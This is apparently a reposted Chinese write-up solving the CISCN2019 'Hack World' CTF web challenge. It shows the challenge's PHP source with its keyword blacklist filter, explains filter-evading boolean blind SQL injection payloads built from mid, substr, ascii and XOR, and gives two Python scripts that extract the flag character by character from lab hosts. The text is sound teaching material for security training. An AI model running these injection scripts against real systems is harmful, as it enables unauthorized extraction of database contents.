[CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目如下图
输入1
输入2
输入3
输入0
输入1'
从上面总结出 这是布尔类型的盲注
下面是题目的源代码
1 2 3 4 5 6 7 8 9 10 11 | <?php $dbuser= 'root' ; $dbpass= 'root' ; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array( ' ' , '||' , '#' , '-' , ';' , '&' , '+' , 'or' , 'and' , '`' , '"' , 'insert' , 'group' , 'limit' , 'update' , 'delete' , '*' , 'into' , 'union' , 'load_file' , 'outfile' , './' ); <br> foreach ($blackList as $blackitem){ <br> if (stripos($sql,$blackitem))<br>{ return False; <br>} <br>} return True; <br>} if (isset($POST[ 'id' ]))<br>{ $id = $POST[ 'id' ]; <br>}<br> else { die(); <br>} <br>$db = mysql_connect("localhost ",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db(" ctf",$db); if (safe($id)){ $query = mysql_query( "SELECT content from passage WHERE id = ${id} limit 0,1" ); if ($query){ $result = mysql_fetch_array($query); if ($result){ echo $result[ 'content' ]; } else { echo "Error Occured When Fetch Result." ; } } else { var_dump($query); } } else { die( "SQL Injection Checked." ); } |
一共有两种方法解决此题
1.mid函数
id=(select(ascill(mid(flag,1,1))=102)from(flag)
mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少
mid函数:如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句,如果失败那么就是Error
1 2 3 4 5 6 7 8 9 10 | import requests url= "http://87ba091d-cbea-4196-98e7-97a83bec2d07.node3.buuoj.cn/index.php" for q in range(1,100): for i in range(0, 254): payload = "1^(SELECT(ASCII(MID((SELECT(CONCAT(flag))FROM(flag))," + str(q) + ",1))=" + str(i) + "))" data = { "id" : payload} req = requests.post(url, data=data) if ( "Error Occured" in req.text): print (chr(i),end= '' ) break |
2.使用异或
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
异或+SUBSTR
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
ascii:取第一个字符的ascii substr:
(mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag
substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码
import requests
import time
import re
url='http://0d4600ac-89ff-4135-b0a0-98d0b63703f9.node4.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
flag的每一位用substr取出,然后在用ascii和某个字符用二分法比较,最后max和min想差1的时候,就说明max为正确的字符。for in rang(1,43)这里43是因为动态flag的长度是42位,再加上python右界的小括号,+1。
运行程序得到flag
原文来自: https://www.bilibili.com/read/cv18150908/ 出处:bilibili
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现